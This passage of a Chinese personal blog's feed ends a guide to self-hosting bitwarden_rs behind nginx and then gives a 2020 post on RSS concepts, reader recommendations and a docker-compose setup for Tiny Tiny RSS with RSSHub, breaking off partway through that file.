&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; Upgrade            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$http_upgrade&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; Connection         &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;upgrade&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; Host               &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$host&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; X-Real-IP          &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$remote_addr&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; X-Forwarded-For    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$proxy_add_x_forwarded_for&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; X-Forwarded-Proto  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$scheme&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; X-Forwarded-Host   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$host&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; X-Forwarded-Port   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$server_port&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;location &lt;&#x2F;span&gt;&lt;span&gt;&#x2F;notifications&#x2F;hub&#x2F;negotiate {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_pass&lt;&#x2F;span&gt;&lt;span&gt;                          http:&#x2F;&#x2F;127.0.0.1:3011;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; Upgrade            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$http_upgrade&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; Connection         &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;upgrade&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; Host               &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$host&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; X-Real-IP          &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$remote_addr&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; X-Forwarded-For    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$proxy_add_x_forwarded_for&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; X-Forwarded-Proto  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$scheme&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; X-Forwarded-Host   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$host&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; X-Forwarded-Port   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$server_port&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;location &lt;&#x2F;span&gt;&lt;span&gt;&#x2F;admin {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_pass&lt;&#x2F;span&gt;&lt;span&gt;                          http:&#x2F;&#x2F;127.0.0.1:3011;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; Upgrade            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$http_upgrade&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; Connection         &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;upgrade&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; Host               &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$host&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; X-Real-IP          &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$remote_addr&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; X-Forwarded-For    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$proxy_add_x_forwarded_for&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; X-Forwarded-Proto  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$scheme&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; X-Forwarded-Host   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$host&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; X-Forwarded-Port   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$server_port&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意把上面的端口号改成刚才设置的。没有证书的可以免费去申请。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;进入&lt;code&gt;docker-compose.yml&lt;&#x2F;code&gt;所在的目录，执行&lt;code&gt;docker-compose up&lt;&#x2F;code&gt;就会开始下载&lt;code&gt;bitwarden_rs&lt;&#x2F;code&gt;服务器并启动了。也可以用&lt;code&gt;docker-compose up -d&lt;&#x2F;code&gt;后台启动。要停止只要&lt;code&gt;docker-compose stop&lt;&#x2F;code&gt;就行了。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;启动&lt;code&gt;nginx&lt;&#x2F;code&gt;。一切顺利的话，用浏览器打开&lt;code&gt;https:&#x2F;&#x2F;[你的IP]&lt;&#x2F;code&gt;就可以看到&lt;code&gt;bitwarden&lt;&#x2F;code&gt;的网页端了。由于它的网页版是SPA，所以加载可能有点慢，稍微等一下吧。再把原来的密码库导入就可以正常使用啦。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;下面是一些推荐的做法，爱折腾的可以做一下&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果是自己使用，可以关闭注册账号的功能。将&lt;code&gt;docker-compose.yml&lt;&#x2F;code&gt;里的&lt;code&gt;SIGNUPS_ALLOWED: &quot;true&quot; &lt;&#x2F;code&gt;改成&lt;code&gt; SIGNUPS_ALLOWED: &quot;false&quot;&lt;&#x2F;code&gt; 保存即可。&lt;&#x2F;li&gt;
&lt;li&gt;可以写个脚本定期备份，保证数据安全&lt;&#x2F;li&gt;
&lt;li&gt;配置&lt;code&gt;fail2ban&lt;&#x2F;code&gt;，把尝试密码的ip自动禁掉。可以参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;dani-garcia&#x2F;bitwarden_rs&#x2F;wiki&#x2F;Fail2Ban-Setup&quot;&gt;官网&lt;&#x2F;a&gt;给的示例。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>RSS使用和配置记录</title>
        <published>2020-09-08T00:00:00+00:00</published>
        <updated>2020-09-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/rssshi-yong-he-pei-zhi-ji-lu/"/>
        <id>https://richar.top/rssshi-yong-he-pei-zhi-ji-lu/</id>
        
        <content type="html" xml:base="https://richar.top/rssshi-yong-he-pei-zhi-ji-lu/">&lt;h1 id=&quot;rssshi-shen-me&quot;&gt;RSS是什么&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;简易信息聚合（也叫聚合内容）是一种RSS基于XML标准，在互联网上被广泛采用的内容包装和投递协议。RSS(Really Simple Syndication)是一种描述和同步网站内容的格式，是使用最广泛的XML应用。RSS搭建了信息迅速传播的一个技术平台，使得每个人都成为潜在的信息提供者。发布一个RSS文件后，这个RSS Feed中包含的信息就能直接被其他站点调用，而且由于这些数据都是标准的XML格式，所以也能在其他的终端和服务中使用，是一种描述和同步网站内容的格式。 [1]  RSS可以是以下三个解释的其中一个： Really Simple Syndication；RDF (Resource Description Framework) Site Summary； Rich Site Summary。但其实这三个解释都是指同一种Syndication的技术。&lt;&#x2F;p&gt;
&lt;p&gt;——来自百度百科&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;在这个充斥这各种信息的互联网时代，我们常常需要从各种渠道获得不同的信息，在此同时，我们的注意力还容易被各种诱惑抢夺走。&lt;&#x2F;p&gt;
&lt;p&gt;RSS可以屏蔽其它你所不关注的信息，将多方的信息整合到一起，只关注我们想要关注的。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;rssji-ben-gai-nian&quot;&gt;RSS基本概念&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;信息源&lt;&#x2F;strong&gt;：就是信息的来源，比如各种博客，新闻网站……。然而大多数的网站是没有提供RSS信息的，这里推荐一款开源神器&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;DIYgod&#x2F;RSSHub-Radar&quot;&gt;DIYgod&#x2F;RSSHub-Radar&lt;&#x2F;a&gt;可以将许多没有RSS源的信息转化成RSS源，如B站、知乎(、甚至Minecraft的本版发布消息)。你可以将它部署到自己的服务器上。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;阅读器&lt;&#x2F;strong&gt;：阅读器可以添加许多RSS源，并浏览RSS信息。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;服务商&lt;&#x2F;strong&gt;：当我们有多个RSS阅读器时，多个阅读器进行同步就成了很头疼的问题。在这个阅读器上添加了源另一个阅读器上却没有，这边看过的信息那边还显示未读。我们就需要一个服务来同步我们的RSS订阅信息。多个阅读器需要都支持这个服务商。当然，也有统一的协议Fever API。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ruan-jian-tui-jian&quot;&gt;软件推荐&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;yue-du-qi&quot;&gt;阅读器&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ihewro&#x2F;Focus&quot;&gt;ihewro&#x2F;Focus&lt;&#x2F;a&gt;(Android)&lt;&#x2F;li&gt;
&lt;li&gt;Palabre+TT-RSS for Palabre(Android)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;GetStream&#x2F;Winds&quot;&gt;GetStream&#x2F;Winds&lt;&#x2F;a&gt;(Windows&#x2F;MacOS&#x2F;Linux)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.microsoft.com&#x2F;zh-cn&#x2F;p&#x2F;rss-stalker&#x2F;9n85pv1rjd6v&quot;&gt;RSS追踪&lt;&#x2F;a&gt;(Windows10)(14元)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;fu-wu-shang&quot;&gt;服务商&lt;&#x2F;h2&gt;
&lt;p&gt;国内大多数服务商由于众所周知的原因已经无法使用，这里推荐大家自己搭建服务器。下面推荐几个&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ttrss.henry.wang&#x2F;zh&#x2F;&quot;&gt;Tiny Tiny RSS&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;miniflux.app&#x2F;&quot;&gt;Miniflux&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;freshrss.org&#x2F;&quot;&gt;FreshRSS&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这些服务器都是用SQL数据库储存数据，用Docker封装，在Windows部署难度有点大。推荐用Linux服务器部署。&lt;&#x2F;p&gt;
&lt;p&gt;另外:推荐一篇知乎&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.zhihu.com&#x2F;question&#x2F;28808592&quot;&gt;2019 国内最好的 RSS 阅读器是什么？- 知乎&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;fu-wu-qi-da-jian&quot;&gt;服务器搭建&lt;&#x2F;h1&gt;
&lt;p&gt;都是Docker容器，因此搭建十分容易，直接上&lt;code&gt;docker-compose.yml&lt;&#x2F;code&gt;，我这里直接把RSSHub给加进去了。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;YAML&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-YAML &quot;&gt;&lt;code class=&quot;language-YAML&quot; data-lang=&quot;YAML&quot;&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;version&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;3&amp;quot;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;services&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;database.postgres&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;image&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;postgres:alpine
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;container_name&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;postgres
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;environment&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;      - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;POSTGRES_PASSWORD=[ 数据库密码 ]
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;volumes&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;~&#x2F;postgres&#x2F;data&#x2F;:&#x2F;var&#x2F;lib&#x2F;postgresql&#x2F;data &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 数据存放位置
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;restart&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;always
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;service.rss&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;image&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;wangqiru&#x2F;ttrss:latest
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;container_name&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;ttrss
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;ports&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;      - [ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;TTRSS端口 &lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;:80
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;environment&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;      - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;SELF_URL_PATH=[ 访问域名 ] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 必须要一模一样，加上协议名
&lt;&#x2F;span&gt;&lt;span&gt;      - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;DB_HOST=database.postgres
&lt;&#x2F;span&gt;&lt;span&gt;      - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;DB_PORT=5432
&lt;&#x2F;span&gt;&lt;span&gt;      - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;DB_NAME=ttrss
&lt;&#x2F;span&gt;&lt;span&gt;      - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;DB_USER=postgres
&lt;&#x2F;span&gt;&lt;span&gt;      - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;DB_PASS=[ 数据库密码 ]
&lt;&#x2F;span&gt;&lt;span&gt;      - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;ENABLE_PLUGINS=auth_internal,fever &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# auth_internal is required. Plugins enabled here will be enabled for all users as system plugins
&lt;&#x2F;span&gt;&lt;span&gt;      - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;FEED_LOG_QUIET=true
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;stdin_open&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;true
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;tty&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;true
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;restart&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;always
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;command&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;sh -c &amp;#39;sh &#x2F;wait-for.sh $$DB_HOST:$$DB_PORT -- php &#x2F;configure-db.php &amp;amp;&amp;amp; exec s6-svscan &#x2F;etc&#x2F;s6&#x2F;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;service.mercury&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# set Mercury Parser API endpoint to `service.mercury:3000` on TTRSS plugin setting page
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;image&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;wangqiru&#x2F;mercury-parser-api:latest
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;container_name&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;mercury
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;expose&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;      - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3000
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;restart&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;always
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;service.opencc&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# set OpenCC API endpoint to `service.opencc:3000` on TTRSS plugin setting page
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;image&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;wangqiru&#x2F;opencc-api-server:latest
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;container_name&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;opencc
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;environment&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;      - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;NODE_ENV=production
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;expose&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;      - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3000
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;restart&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;always
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;service.rsshub&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;image&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;diygod&#x2F;rsshub
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;container_name&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;rsshub
